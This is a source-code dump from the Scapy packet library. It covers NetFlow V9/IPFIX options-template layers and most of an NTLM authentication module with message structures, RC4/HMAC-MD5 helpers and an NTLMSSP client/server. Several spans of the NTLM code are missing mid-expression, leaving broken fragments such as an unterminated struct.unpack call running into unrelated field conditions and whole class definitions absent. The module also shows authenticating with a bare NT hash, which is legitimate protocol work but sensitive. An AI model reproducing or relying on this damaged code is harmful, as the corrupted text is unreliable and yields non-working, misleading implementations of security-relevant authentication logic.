NetflowOptionsRecordOptionV9(NetflowRecordV9): name = "Netflow Options Template Record V9/10 - Option" # Aka Set class NetflowOptionsFlowsetOptionV9(Packet): name = "Netflow Options Template FlowSet V9/10 - Option" fields_desc = [BitField("enterpriseBit", 0, 1), BitEnumField("optionFieldType", None, 15, NetflowV910TemplateFieldTypes), ShortField("optionFieldlength", 0), ConditionalField(ShortField("enterpriseNumber", 0), lambda p: p.enterpriseBit)] def default_payload_class(self, p): return conf.padding_layer # Aka Set class NetflowOptionsFlowsetScopeV9(Packet): name = "Netflow Options Template FlowSet V9/10 - Scope" fields_desc = [ShortEnumField("scopeFieldType", None, ScopeFieldTypes), ShortField("scopeFieldlength", 0)] def default_payload_class(self, p): return conf.padding_layer class NetflowOptionsFlowsetV9(Packet): name = "Netflow Options Template FlowSet V9" fields_desc = [ShortField("flowSetID", 1), ShortField("length", None), ShortField("templateID", 255), FieldLenField("option_scope_length", None, length_of="scopes"), FieldLenField("option_field_length", None, length_of="options"), # We can't use PadField as we have 2 PacketListField PacketListField( "scopes", [], NetflowOptionsFlowsetScopeV9, length_from=lambda pkt: pkt.option_scope_length), PacketListField( "options", [], NetflowOptionsFlowsetOptionV9, length_from=lambda pkt: pkt.option_field_length), StrLenField("pad", None, length_from=lambda pkt: ( pkt.length - pkt.option_scope_length - pkt.option_field_length - 10))] def default_payload_class(self, p): return conf.padding_layer def post_build(self, pkt, pay): if self.pad is None: # Padding 4-bytes with b"\x00" start = 10 + self.option_scope_length + self.option_field_length pkt = pkt[:start] + (-len(pkt) % 4) * b"\x00" if self.length is None: pkt = pkt[:2] + struct.pack("!H", len(pkt)) + pkt[4:] return pkt + pay # https://tools.ietf.org/html/rfc5101#section-3.4.2.2 class NetflowOptionsFlowset10(NetflowOptionsFlowsetV9): """Netflow V10 (IPFix) Options Template FlowSet""" name = "Netflow V10 (IPFix) Options Template FlowSet" fields_desc = [ShortField("flowSetID", 3), ShortField("length", None), ShortField("templateID", 255), # Slightly different counting than in its NetflowV9 # counterpart: we count the total, and among them which # ones are scopes. Also, it's count, not length FieldLenField("field_count", None, count_of="options", adjust=lambda pkt, x: ( x + pkt.get_field( "scope_field_count").i2m(pkt, None))), FieldLenField("scope_field_count", None, count_of="scopes"), # We can't use PadField as we have 2 PacketListField PacketListField( "scopes", [], NetflowOptionsFlowsetScopeV9, count_from=lambda pkt: pkt.scope_field_count), PacketListField( "options", [], NetflowOptionsFlowsetOptionV9, count_from=lambda pkt: ( pkt.field_count - pkt.scope_field_count )), StrLenField("pad", None, length_from=lambda pkt: ( pkt.length - (pkt.scope_field_count * 4) - 10))] def post_build(self, pkt, pay): if self.length is None: pkt = pkt[:2] + struct.pack("!H", len(pkt)) + pkt[4:] if self.pad is None: # Padding 4-bytes with b"\x00" start = 10 + self.scope_field_count * 4 pkt = pkt[:start] + (-len(pkt) % 4) * b"\x00" return pkt + pay bind_layers(NetflowHeader, NetflowHeaderV9, version=9) bind_layers(NetflowHeaderV9, NetflowDataflowsetV9) bind_layers(NetflowDataflowsetV9, NetflowDataflowsetV9) bind_layers(NetflowOptionsFlowsetV9, NetflowDataflowsetV9) bind_layers(NetflowFlowsetV9, NetflowDataflowsetV9) # Apart from the first header, IPFix and NetflowV9 have the same format # (except the Options Template) # https://tools.ietf.org/html/rfc5655#appendix-B.1.2 bind_layers(NetflowHeader, NetflowHeaderV10, version=10) bind_layers(NetflowHeaderV10, NetflowDataflowsetV9) ================================================ FILE: scapy/layers/ntlm.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ NTLM This is documented in [MS-NLMP] .. note:: You will find more complete documentation for this layer over at `GSSAPI `_ """ import copy import time import os import struct from enum import IntEnum from scapy.asn1.asn1 import ASN1_Codecs from scapy.asn1.mib import conf # loads conf.mib from scapy.asn1fields import ( ASN1F_OID, ASN1F_PRINTABLE_STRING, ASN1F_SEQUENCE, ASN1F_SEQUENCE_OF, ) from scapy.asn1packet import ASN1_Packet from scapy.compat import bytes_base64 from scapy.error import log_runtime from scapy.fields import ( ByteEnumField, ByteField, ConditionalField, Field, FieldLenField, FlagsField, LEIntEnumField, LEIntField, LEShortEnumField, LEShortField, LEThreeBytesField, MultipleTypeField, PacketField, PacketListField, StrField, StrFieldUtf16, StrFixedLenField, StrLenFieldUtf16, UTCTimeField, XStrField, XStrFixedLenField, XStrLenField, _StrField, ) from scapy.packet import Packet from scapy.sessions import StringBuffer from scapy.layers.gssapi import ( _GSSAPI_OIDS, _GSSAPI_SIGNATURE_OIDS, GSS_C_FLAGS, GSS_C_NO_CHANNEL_BINDINGS, GSS_S_BAD_BINDINGS, GSS_S_COMPLETE, GSS_S_CONTINUE_NEEDED, GSS_S_DEFECTIVE_CREDENTIAL, GSS_S_DEFECTIVE_TOKEN, GSS_S_FLAGS, GssChannelBindings, SSP, ) # Typing imports from typing import ( Any, Callable, List, Optional, Tuple, Union, ) # Crypto imports from scapy.layers.tls.crypto.hash import Hash_MD4, Hash_MD5 from scapy.layers.tls.crypto.h_mac import Hmac_MD5 ########## # Fields # ########## # NTLM structures are all in all very complicated. Many fields don't have a fixed # position, but are rather referred to with an offset (from the beginning of the # structure) and a length. In addition to that, there are variants of the structure # with missing fields when running old versions of Windows (sometimes also seen when # talking to products that reimplement NTLM, most notably backup applications). # We add `_NTLMPayloadField` and `_NTLMPayloadPacket` to parse fields that use an # offset, and `_NTLM_post_build` to be able to rebuild those offsets. # In addition, the `NTLM_VARIANT*` allows to select what flavor of NTLM to use # (NT, XP, or Recent). But in real world use only Recent should be used. class _NTLMPayloadField(_StrField[List[Tuple[str, Any]]]): """Special field used to dissect NTLM payloads. This isn't trivial because the offsets are variable.""" __slots__ = [ "fields", "fields_map", "offset", "length_from", "force_order", "offset_name", ] islist = True def __init__( self, name, # type: str offset, # type: Union[int, Callable[[Packet], int]] fields, # type: List[Field[Any, Any]] length_from=None, # type: Optional[Callable[[Packet], int]] force_order=None, # type: Optional[List[str]] offset_name="BufferOffset", # type: str ): # type: (...) -> None self.offset = offset self.fields = fields self.fields_map = {field.name: field for field in fields} self.length_from = length_from self.force_order = force_order # whether the order of fields is fixed self.offset_name = offset_name super(_NTLMPayloadField, self).__init__( name, [ (field.name, field.default) for field in fields if field.default is not None ], ) def _on_payload(self, pkt, x, func): # type: (Optional[Packet], bytes, str) -> List[Tuple[str, Any]] if not pkt or not x: return [] results = [] for field_name, value in x: if field_name not in self.fields_map: continue if not isinstance( self.fields_map[field_name], PacketListField ) and not isinstance(value, Packet): value = getattr(self.fields_map[field_name], func)(pkt, value) results.append((field_name, value)) return results def i2h(self, pkt, x): # type: (Optional[Packet], bytes) -> List[Tuple[str, str]] return self._on_payload(pkt, x, "i2h") def h2i(self, pkt, x): # type: (Optional[Packet], bytes) -> List[Tuple[str, str]] return self._on_payload(pkt, x, "h2i") def i2repr(self, pkt, x): # type: (Optional[Packet], bytes) -> str return repr(self._on_payload(pkt, x, "i2repr")) def _o_pkt(self, pkt): # type: (Optional[Packet]) -> int if callable(self.offset): return self.offset(pkt) return self.offset def addfield(self, pkt, s, val): # type: (Optional[Packet], bytes, Optional[List[Tuple[str, str]]]) -> bytes # Create string buffer buf = StringBuffer() buf.append(s, 1) # Calc relative offset r_off = self._o_pkt(pkt) - len(s) if self.force_order: val.sort(key=lambda x: self.force_order.index(x[0])) for field_name, value in val: if field_name not in self.fields_map: continue field = self.fields_map[field_name] offset = pkt.getfieldval(field_name + self.offset_name) if offset is None: # No offset specified: calc offset = len(buf) else: # Calc relative offset offset -= r_off pad = offset + 1 - len(buf) # Add padding if necessary if pad > 0: buf.append(pad * b"\x00", len(buf)) buf.append(field.addfield(pkt, bytes(buf), value)[len(buf) :], offset + 1) return bytes(buf) def getfield(self, pkt, s): # type: (Packet, bytes) -> Tuple[bytes, List[Tuple[str, str]]] if self.length_from is None: ret, remain = b"", s else: len_pkt = self.length_from(pkt) ret, remain = s[len_pkt:], s[:len_pkt] if not pkt or not remain: return s, [] results = [] max_offset = 0 o_pkt = self._o_pkt(pkt) offsets = [ pkt.getfieldval(x.name + self.offset_name) - o_pkt for x in self.fields ] for i, field in enumerate(self.fields): offset = offsets[i] try: length = pkt.getfieldval(field.name + "Len") except AttributeError: length = len(remain) - offset # length can't be greater than the difference with the next offset try: length = min(length, min(x - offset for x in offsets if x > offset)) except ValueError: pass if offset < 0: continue max_offset = max(offset + length, max_offset) if remain[offset : offset + length]: results.append( ( offset, field.name, field.getfield(pkt, remain[offset : offset + length])[1], ) ) ret += remain[max_offset:] results.sort(key=lambda x: x[0]) return ret, [x[1:] for x in results] class _NTLMPayloadPacket(Packet): _NTLM_PAYLOAD_FIELD_NAME = "Payload" def __init__( self, _pkt=b"", # type: Union[bytes, bytearray] post_transform=None, # type: Any _internal=0, # type: int _underlayer=None, # type: Optional[Packet] _parent=None, # type: Optional[Packet] **fields, # type: Any ): # pop unknown fields. We can't process them until the packet is initialized unknown = { k: fields.pop(k) for k in list(fields) if not any(k == f.name for f in self.fields_desc) } super(_NTLMPayloadPacket, self).__init__( _pkt=_pkt, post_transform=post_transform, _internal=_internal, _underlayer=_underlayer, _parent=_parent, **fields, ) # check unknown fields for implicit ones local_fields = next( [y.name for y in x.fields] for x in self.fields_desc if x.name == self._NTLM_PAYLOAD_FIELD_NAME ) implicit_fields = {k: v for k, v in unknown.items() if k in local_fields} for k, value in implicit_fields.items(): self.setfieldval(k, value) def getfieldval(self, attr): # Ease compatibility with _NTLMPayloadField try: return super(_NTLMPayloadPacket, self).getfieldval(attr) except AttributeError: try: return next( x[1] for x in super(_NTLMPayloadPacket, self).getfieldval( self._NTLM_PAYLOAD_FIELD_NAME ) if x[0] == attr ) except StopIteration: raise AttributeError(attr) def getfield_and_val(self, attr): # Ease compatibility with _NTLMPayloadField try: return super(_NTLMPayloadPacket, self).getfield_and_val(attr) except ValueError: PayFields = self.get_field(self._NTLM_PAYLOAD_FIELD_NAME).fields_map try: return ( PayFields[attr], PayFields[attr].h2i( # cancel out the i2h.. it's dumb i know self, next( x[1] for x in super(_NTLMPayloadPacket, self).__getattr__( self._NTLM_PAYLOAD_FIELD_NAME ) if x[0] == attr ), ), ) except (StopIteration, KeyError): raise ValueError(attr) def setfieldval(self, attr, val): # Ease compatibility with _NTLMPayloadField try: return super(_NTLMPayloadPacket, self).setfieldval(attr, val) except AttributeError: Payload = super(_NTLMPayloadPacket, self).__getattr__( self._NTLM_PAYLOAD_FIELD_NAME ) if attr not in self.get_field(self._NTLM_PAYLOAD_FIELD_NAME).fields_map: raise AttributeError(attr) try: Payload.pop( next( i for i, x in enumerate( super(_NTLMPayloadPacket, self).__getattr__( self._NTLM_PAYLOAD_FIELD_NAME ) ) if x[0] == attr ) ) except StopIteration: pass Payload.append([attr, val]) super(_NTLMPayloadPacket, self).setfieldval( self._NTLM_PAYLOAD_FIELD_NAME, Payload ) class _NTLM_ENUM(IntEnum): LEN = 0x0001 MAXLEN = 0x0002 OFFSET = 0x0004 COUNT = 0x0008 PAD8 = 0x1000 _NTLM_CONFIG = [ ("Len", _NTLM_ENUM.LEN), ("MaxLen", _NTLM_ENUM.MAXLEN), ("BufferOffset", _NTLM_ENUM.OFFSET), ] def _NTLM_post_build(self, p, pay_offset, fields, config=_NTLM_CONFIG): """Util function to build the offset and populate the lengths""" for field_name, value in self.fields[self._NTLM_PAYLOAD_FIELD_NAME]: fld = self.get_field(self._NTLM_PAYLOAD_FIELD_NAME).fields_map[field_name] length = fld.i2len(self, value) count = fld.i2count(self, value) offset = fields[field_name] i = 0 r = lambda y: {2: "H", 4: "I", 8: "Q"}[y] for fname, ftype in config: if isinstance(ftype, dict): ftype = ftype[field_name] if ftype & _NTLM_ENUM.LEN: fval = length elif ftype & _NTLM_ENUM.OFFSET: fval = pay_offset elif ftype & _NTLM_ENUM.MAXLEN: fval = length elif ftype & _NTLM_ENUM.COUNT: fval = count else: raise ValueError if ftype & _NTLM_ENUM.PAD8: fval += (-fval) % 8 sz = self.get_field(field_name + fname).sz if self.getfieldval(field_name + fname) is None: p = ( p[: offset + i] + struct.pack("<%s" % r(sz), fval) + p[offset + i + sz :] ) i += sz pay_offset += length return p ############## # Structures # ############## # -- Util: VARIANT class class NTLM_VARIANT(IntEnum): """ The message variant to use for NTLM. """ NT_OR_2000 = 0 XP_OR_2003 = 1 RECENT = 2 class _NTLM_VARIANT_Packet(_NTLMPayloadPacket): def __init__(self, *args, **kwargs): self.VARIANT = kwargs.pop("VARIANT", NTLM_VARIANT.RECENT) super(_NTLM_VARIANT_Packet, self).__init__(*args, **kwargs) def clone_with(self, *args, **kwargs): pkt = super(_NTLM_VARIANT_Packet, self).clone_with(*args, **kwargs) pkt.VARIANT = self.VARIANT return pkt def copy(self): pkt = super(_NTLM_VARIANT_Packet, self).copy() pkt.VARIANT = self.VARIANT return pkt def show2(self, dump=False, indent=3, lvl="", label_lvl=""): return self.__class__(bytes(self), VARIANT=self.VARIANT).show( dump, indent, lvl, label_lvl ) # Sect 2.2 class NTLM_Header(Packet): name = "NTLM Header" fields_desc = [ StrFixedLenField("Signature", b"NTLMSSP\0", length=8), LEIntEnumField( "MessageType", 3, { 1: "NEGOTIATE_MESSAGE", 2: "CHALLENGE_MESSAGE", 3: "AUTHENTICATE_MESSAGE", }, ), ] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if cls is NTLM_Header and _pkt and len(_pkt) >= 10: MessageType = struct.unpack("= NTLM_VARIANT.XP_OR_2003 and ( ( ( 40 if pkt.DomainNameBufferOffset is None else pkt.DomainNameBufferOffset or len(pkt.original or b"") ) > 32 ) or pkt.fields.get(x.name, b"") ), ) for x in _NTLM_Version.fields_desc ] + [ # Payload _NTLMPayloadField( "Payload", OFFSET, [ _NTLMStrField("DomainName", b""), _NTLMStrField("WorkstationName", b""), ], ), ] ) def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes return ( _NTLM_post_build( self, pkt, self.OFFSET(), { "DomainName": 16, "WorkstationName": 24, }, ) + pay ) # Challenge class Single_Host_Data(Packet): fields_desc = [ LEIntField("Size", None), LEIntField("Z4", 0), # "CustomData" guessed using LSAP_TOKEN_INFO_INTEGRITY. FlagsField( "Flags", 0, -32, { 0x00000001: "UAC-Restricted", }, ), LEIntEnumField( "TokenIL", 0x00002000, { 0x00000000: "Untrusted", 0x00001000: "Low", 0x00002000: "Medium", 0x00003000: "High", 0x00004000: "System", 0x00005000: "Protected process", }, ), XStrFixedLenField("MachineID", b"", length=32), # KB 5068222 - still waiting for [MS-KILE] update (oct. 2025) ConditionalField( XStrFixedLenField("PermanentMachineID", None, length=32), lambda pkt: pkt.Size is None or pkt.Size > 48, ), ] def post_build(self, pkt, pay): if self.Size is None: pkt = struct.pack("= NTLM_VARIANT.XP_OR_2003 and ( ((pkt.TargetInfoBufferOffset or 56) > 40) or pkt.fields.get(x.name, b"") ), ) for x in _NTLM_Version.fields_desc ] + [ # Payload _NTLMPayloadField( "Payload", OFFSET, [ _NTLMStrField("TargetName", b""), PacketListField("TargetInfo", [AV_PAIR()], AV_PAIR), ], ), ] ) def getAv(self, AvId): try: return next(x for x in self.TargetInfo if x.AvId == AvId) except (StopIteration, AttributeError): raise IndexError def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes return ( _NTLM_post_build( self, pkt, self.OFFSET(), { "TargetName": 12, "TargetInfo": 40, }, ) + pay ) # Authenticate class LM_RESPONSE(Packet): fields_desc = [ StrFixedLenField("Response", b"", length=24), ] class LMv2_RESPONSE(Packet): fields_desc = [ StrFixedLenField("Response", b"", length=16), StrFixedLenField("ChallengeFromClient", b"", length=8), ] class NTLM_RESPONSE(Packet): fields_desc = [ StrFixedLenField("Response", b"", length=24), ] class NTLMv2_CLIENT_CHALLENGE(Packet): fields_desc = [ ByteField("RespType", 1), ByteField("HiRespType", 1), LEShortField("Reserved1", 0), LEIntField("Reserved2", 0), UTCTimeField( "TimeStamp", None, fmt="= NTLM_VARIANT.XP_OR_2003 and ( ((pkt.DomainNameBufferOffset or 88) > 64) or pkt.fields.get(x.name, b"") ), ) for x in _NTLM_Version.fields_desc ] + [ # MIC ConditionalField( # (not present on some old Windows versions. We use a heuristic) XStrFixedLenField("MIC", b"", length=16), lambda pkt: pkt.VARIANT >= NTLM_VARIANT.RECENT and ( ((pkt.DomainNameBufferOffset or 88) > 72) or pkt.fields.get("MIC", b"") ), ), # Payload _NTLMPayloadField( "Payload", OFFSET, [ MultipleTypeField( [ ( PacketField( "LmChallengeResponse", LMv2_RESPONSE(), LMv2_RESPONSE, ), lambda pkt: pkt.NTLM_VERSION == 2, ) ], PacketField("LmChallengeResponse", LM_RESPONSE(), LM_RESPONSE), ), MultipleTypeField( [ ( PacketField( "NtChallengeResponse", NTLMv2_RESPONSE(), NTLMv2_RESPONSE, ), lambda pkt: pkt.NTLM_VERSION == 2, ) ], PacketField( "NtChallengeResponse", NTLM_RESPONSE(), NTLM_RESPONSE ), ), _NTLMStrField("DomainName", b""), _NTLMStrField("UserName", b""), _NTLMStrField("Workstation", b""), XStrField("EncryptedRandomSessionKey", b""), ], ), ] ) def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes return ( _NTLM_post_build( self, pkt, self.OFFSET(), { "LmChallengeResponse": 12, "NtChallengeResponse": 20, "DomainName": 28, "UserName": 36, "Workstation": 44, "EncryptedRandomSessionKey": 52, }, ) + pay ) def compute_mic(self, ExportedSessionKey, negotiate, challenge): self.MIC = b"\x00" * 16 self.MIC = HMAC_MD5( ExportedSessionKey, bytes(negotiate) + bytes(challenge) + bytes(self) ) class NTLM_AUTHENTICATE_V2(NTLM_AUTHENTICATE): NTLM_VERSION = 2 def HTTP_ntlm_negotiate(ntlm_negotiate): """Create an HTTP NTLM negotiate packet from an NTLM_NEGOTIATE message""" assert isinstance(ntlm_negotiate, NTLM_NEGOTIATE) from scapy.layers.http import HTTP, HTTPRequest return HTTP() / HTTPRequest( Authorization=b"NTLM " + bytes_base64(bytes(ntlm_negotiate)) ) # Experimental - Reversed stuff # This is the GSSAPI NegoEX Exchange metadata blob. This is not documented # but described as an "opaque blob": this was reversed and everything is a # placeholder. class NEGOEX_EXCHANGE_NTLM_ITEM(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE( ASN1F_SEQUENCE( ASN1F_OID("oid", ""), ASN1F_PRINTABLE_STRING("token", ""), explicit_tag=0x31, ), explicit_tag=0x80, ) ) class NEGOEX_EXCHANGE_NTLM(ASN1_Packet): """ GSSAPI NegoEX Exchange metadata blob This was reversed and may be meaningless """ ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE( ASN1F_SEQUENCE_OF("items", [], NEGOEX_EXCHANGE_NTLM_ITEM), implicit_tag=0xA0 ), ) # Crypto - [MS-NLMP] def HMAC_MD5(key, data): return Hmac_MD5(key=key).digest(data) def MD4le(x): """ MD4 over a string encoded as utf-16le """ return Hash_MD4().digest(x.encode("utf-16le")) def RC4Init(key): """Alleged RC4""" from cryptography.hazmat.primitives.ciphers import Cipher, algorithms try: # cryptography > 43.0 from cryptography.hazmat.decrepit.ciphers import ( algorithms as decrepit_algorithms, ) except ImportError: decrepit_algorithms = algorithms algorithm = decrepit_algorithms.ARC4(key) cipher = Cipher(algorithm, mode=None) encryptor = cipher.encryptor() return encryptor def RC4(handle, data): """The RC4 Encryption Algorithm""" return handle.update(data) def RC4K(key, data): """Indicates the encryption of data item D with the key K using the RC4 algorithm. """ from cryptography.hazmat.primitives.ciphers import Cipher, algorithms try: # cryptography > 43.0 from cryptography.hazmat.decrepit.ciphers import ( algorithms as decrepit_algorithms, ) except ImportError: decrepit_algorithms = algorithms algorithm = decrepit_algorithms.ARC4(key) cipher = Cipher(algorithm, mode=None) encryptor = cipher.encryptor() return encryptor.update(data) + encryptor.finalize() # sect 2.2.2.9 - With Extended Session Security class NTLMSSP_MESSAGE_SIGNATURE(Packet): # [MS-RPCE] sect 2.2.2.9.1/2.2.2.9.2 fields_desc = [ LEIntField("Version", 0x00000001), XStrFixedLenField("Checksum", b"", length=8), LEIntField("SeqNum", 0x00000000), ] def default_payload_class(self, payload): return conf.padding_layer _GSSAPI_OIDS["1.3.6.1.4.1.311.2.2.10"] = NTLM_Header _GSSAPI_SIGNATURE_OIDS["1.3.6.1.4.1.311.2.2.10"] = NTLMSSP_MESSAGE_SIGNATURE # sect 3.3.2 def NTOWFv2(Passwd, User, UserDom, HashNt=None): """ Computes the ResponseKeyNT (per [MS-NLMP] sect 3.3.2) :param Passwd: the plain password :param User: the username :param UserDom: the domain name :param HashNt: (out of spec) if you have the HashNt, use this and set Passwd to None """ if HashNt is None: HashNt = MD4le(Passwd) return HMAC_MD5(HashNt, (User.upper() + UserDom).encode("utf-16le")) def NTLMv2_ComputeSessionBaseKey(ResponseKeyNT, NTProofStr): return HMAC_MD5(ResponseKeyNT, NTProofStr) # sect 3.4.4.2 - With Extended Session Security def MAC(Handle, SigningKey, SeqNum, Message): chksum = HMAC_MD5(SigningKey, struct.pack(".) :param IDENTITIES: a dict {"username": } Setting this value enables signature computation and authenticates inbound users. """ auth_type = 0x0A class STATE(SSP.STATE): INIT = 1 CLI_SENT_NEGO = 2 CLI_SENT_AUTH = 3 SRV_SENT_CHAL = 4 class CONTEXT(SSP.CONTEXT): __slots__ = [ "SessionKey", "ExportedSessionKey", "IsAcceptor", "SendSignKey", "SendSealKey", "RecvSignKey", "RecvSealKey", "SendSealHandle", "RecvSealHandle", "SendSeqNum", "RecvSeqNum", "neg_tok", "chall_tok", "ServerHostname", "ServerDomain", ] def __init__(self, IsAcceptor, req_flags=None): self.state = NTLMSSP.STATE.INIT self.SessionKey = None self.ExportedSessionKey = None self.SendSignKey = None self.SendSealKey = None self.SendSealHandle = None self.RecvSignKey = None self.RecvSealKey = None self.RecvSealHandle = None self.SendSeqNum = 0 self.RecvSeqNum = 0 self.neg_tok = None self.chall_tok = None self.ServerHostname = None self.ServerDomain = None self.IsAcceptor = IsAcceptor super(NTLMSSP.CONTEXT, self).__init__(req_flags=req_flags) def clifailure(self): self.__init__(self.IsAcceptor, req_flags=self.flags) def __repr__(self): return "NTLMSSP" # [MS-NLMP] note <36>: "the maximum lifetime is 36 hours" (lol, Kerberos has 5min) NTLM_MaxLifetime = 36 * 3600 def __init__( self, UPN=None, HASHNT=None, PASSWORD=None, USE_MIC=True, VARIANT: NTLM_VARIANT = NTLM_VARIANT.RECENT, NTLM_VALUES={}, DOMAIN_FQDN=None, DOMAIN_NB_NAME=None, COMPUTER_NB_NAME=None, COMPUTER_FQDN=None, IDENTITIES=None, DO_NOT_CHECK_LOGIN=False, SERVER_CHALLENGE=None, **kwargs, ): self.UPN = UPN if HASHNT is None and PASSWORD is not None: HASHNT = MD4le(PASSWORD) self.HASHNT = HASHNT self.VARIANT = VARIANT if self.VARIANT != NTLM_VARIANT.RECENT: log_runtime.warning( "VARIANT != NTLM_VARIANT.RECENT. You shouldn't touch this !" ) self.USE_MIC = False else: self.USE_MIC = USE_MIC self.NTLM_VALUES = NTLM_VALUES if UPN is not None: # Populate values used only in server mode. from scapy.layers.kerberos import _parse_upn try: user, realm = _parse_upn(UPN) if DOMAIN_FQDN is None: DOMAIN_FQDN = realm if COMPUTER_NB_NAME is None: COMPUTER_NB_NAME = user except ValueError: pass # Compute various netbios/fqdn names self.DOMAIN_FQDN = DOMAIN_FQDN or "domain.local" self.DOMAIN_NB_NAME = ( DOMAIN_NB_NAME or self.DOMAIN_FQDN.split(".")[0].upper()[:15] ) self.COMPUTER_NB_NAME = COMPUTER_NB_NAME or "WIN10" self.COMPUTER_FQDN = COMPUTER_FQDN or ( self.COMPUTER_NB_NAME.lower() + "." + self.DOMAIN_FQDN ) if IDENTITIES: self.IDENTITIES = { # Windows usernames are case insensitive user.upper(): hashnt for user, hashnt in IDENTITIES.items() } else: self.IDENTITIES = IDENTITIES self.DO_NOT_CHECK_LOGIN = DO_NOT_CHECK_LOGIN self.SERVER_CHALLENGE = SERVER_CHALLENGE super(NTLMSSP, self).__init__(**kwargs) def LegsAmount(self, Context: CONTEXT): return 3 def GSS_Inquire_names_for_mech(self): return ["1.3.6.1.4.1.311.2.2.10"] def GSS_GetMICEx(self, Context, msgs, qop_req=0): """ [MS-NLMP] sect 3.4.8 """ # Concatenate the ToSign ToSign = b"".join(x.data for x in msgs if x.sign) sig = MAC( Context.SendSealHandle, Context.SendSignKey, Context.SendSeqNum, ToSign, ) Context.SendSeqNum += 1 return sig def GSS_VerifyMICEx(self, Context, msgs, signature): """ [MS-NLMP] sect 3.4.9 """ Context.RecvSeqNum = signature.SeqNum # Concatenate the ToSign ToSign = b"".join(x.data for x in msgs if x.sign) sig = MAC( Context.RecvSealHandle, Context.RecvSignKey, Context.RecvSeqNum, ToSign, ) if sig.Checksum != signature.Checksum: raise ValueError("ERROR: Checksums don't match") def GSS_WrapEx(self, Context, msgs, qop_req=0): """ [MS-NLMP] sect 3.4.6 """ msgs_cpy = copy.deepcopy(msgs) # Keep copy for signature # Encrypt for msg in msgs: if msg.conf_req_flag: msg.data = RC4(Context.SendSealHandle, msg.data) # Sign sig = self.GSS_GetMICEx(Context, msgs_cpy, qop_req=qop_req) return ( msgs, sig, ) def GSS_UnwrapEx(self, Context, msgs, signature): """ [MS-NLMP] sect 3.4.7 """ # Decrypt for msg in msgs: if msg.conf_req_flag: msg.data = RC4(Context.RecvSealHandle, msg.data) # Check signature self.GSS_VerifyMICEx(Context, msgs, signature) return msgs def SupportsMechListMIC(self): if not self.USE_MIC: # RFC 4178 # "If the mechanism selected by the negotiation does not support integrity # protection, then no mechlistMIC token is used." return False if self.DO_NOT_CHECK_LOGIN: # In this mode, we won't negotiate any credentials. return False return True def GetMechListMIC(self, Context, input): # [MS-SPNG] # "When NTLM is negotiated, the SPNG server MUST set OriginalHandle to # ServerHandle before generating the mechListMIC, then set ServerHandle to # OriginalHandle after generating the mechListMIC." OriginalHandle = Context.SendSealHandle Context.SendSealHandle = RC4Init(Context.SendSealKey) try: return super(NTLMSSP, self).GetMechListMIC(Context, input) finally: Context.SendSealHandle = OriginalHandle def VerifyMechListMIC(self, Context, otherMIC, input): # [MS-SPNG] # "the SPNEGO Extension server MUST set OriginalHandle to ClientHandle before # validating the mechListMIC and then set ClientHandle to OriginalHandle after # validating the mechListMIC." OriginalHandle = Context.RecvSealHandle Context.RecvSealHandle = RC4Init(Context.RecvSealKey) try: return super(NTLMSSP, self).VerifyMechListMIC(Context, otherMIC, input) finally: Context.RecvSealHandle = OriginalHandle def GSS_Init_sec_context( self, Context: CONTEXT, input_token=None, target_name: Optional[str] = None, req_flags: Optional[GSS_C_FLAGS] = None, chan_bindings: GssChannelBindings = GSS_C_NO_CHANNEL_BINDINGS, ): if Context is None: Context = self.CONTEXT(False, req_flags=req_flags) if Context.state == self.STATE.INIT: # Client: negotiate # Create a default token tok = NTLM_NEGOTIATE( VARIANT=self.VARIANT, NegotiateFlags="+".join( [ "NEGOTIATE_UNICODE", "REQUEST_TARGET", "NEGOTIATE_NTLM", "NEGOTIATE_ALWAYS_SIGN", "TARGET_TYPE_DOMAIN", "NEGOTIATE_EXTENDED_SESSIONSECURITY", "NEGOTIATE_TARGET_INFO", "NEGOTIATE_128", "NEGOTIATE_56", ] + ( ["NEGOTIATE_VERSION"] if self.VARIANT >= NTLM_VARIANT.XP_OR_2003 else [] ) + ( [ "NEGOTIATE_KEY_EXCH", ] if Context.flags & (GSS_C_FLAGS.GSS_C_INTEG_FLAG | GSS_C_FLAGS.GSS_C_CONF_FLAG) else [] ) + ( [ "NEGOTIATE_SIGN", ] if Context.flags & GSS_C_FLAGS.GSS_C_INTEG_FLAG else [] ) + ( [ "NEGOTIATE_SEAL", ] if Context.flags & GSS_C_FLAGS.GSS_C_CONF_FLAG else [] ) + ( [ "NEGOTIATE_IDENTIFY", ] if Context.flags & GSS_C_FLAGS.GSS_C_IDENTIFY_FLAG else [] ) ), ProductMajorVersion=10, ProductMinorVersion=0, ProductBuild=19041, ) if self.NTLM_VALUES: # Update that token with the customs one for key in [ "NegotiateFlags", "ProductMajorVersion", "ProductMinorVersion", "ProductBuild", ]: if key in self.NTLM_VALUES: setattr(tok, key, self.NTLM_VALUES[key]) Context.neg_tok = tok Context.SessionKey = None # Reset signing (if previous auth failed) Context.state = self.STATE.CLI_SENT_NEGO return Context, tok, GSS_S_CONTINUE_NEEDED elif Context.state == self.STATE.CLI_SENT_NEGO: # Client: auth (token=challenge) chall_tok = input_token if self.UPN is None or self.HASHNT is None: raise ValueError( "Must provide a 'UPN' and a 'HASHNT' or 'PASSWORD' when " "running in standalone !" ) from scapy.layers.kerberos import _parse_upn # Check token sanity if not chall_tok or NTLM_CHALLENGE not in chall_tok: log_runtime.debug("NTLMSSP: Unexpected token. Expected NTLM Challenge") return Context, None, GSS_S_DEFECTIVE_TOKEN # Some information from the CHALLENGE are stored try: Context.ServerHostname = chall_tok.getAv(0x0001).Value except IndexError: pass try: Context.ServerDomain = chall_tok.getAv(0x0002).Value except IndexError: pass try: # the server SHOULD set the timestamp in the CHALLENGE_MESSAGE ServerTimestamp = chall_tok.getAv(0x0007).Value ServerTime = (ServerTimestamp / 1e7) - 11644473600 if abs(ServerTime - time.time()) >= NTLMSSP.NTLM_MaxLifetime: log_runtime.warning( "Server and Client times are off by more than 36h !" ) # We could error here, but we don't. except IndexError: pass # Initialize a default token tok = NTLM_AUTHENTICATE_V2( VARIANT=self.VARIANT, NegotiateFlags=chall_tok.NegotiateFlags, ProductMajorVersion=10, ProductMinorVersion=0, ProductBuild=19041, ) 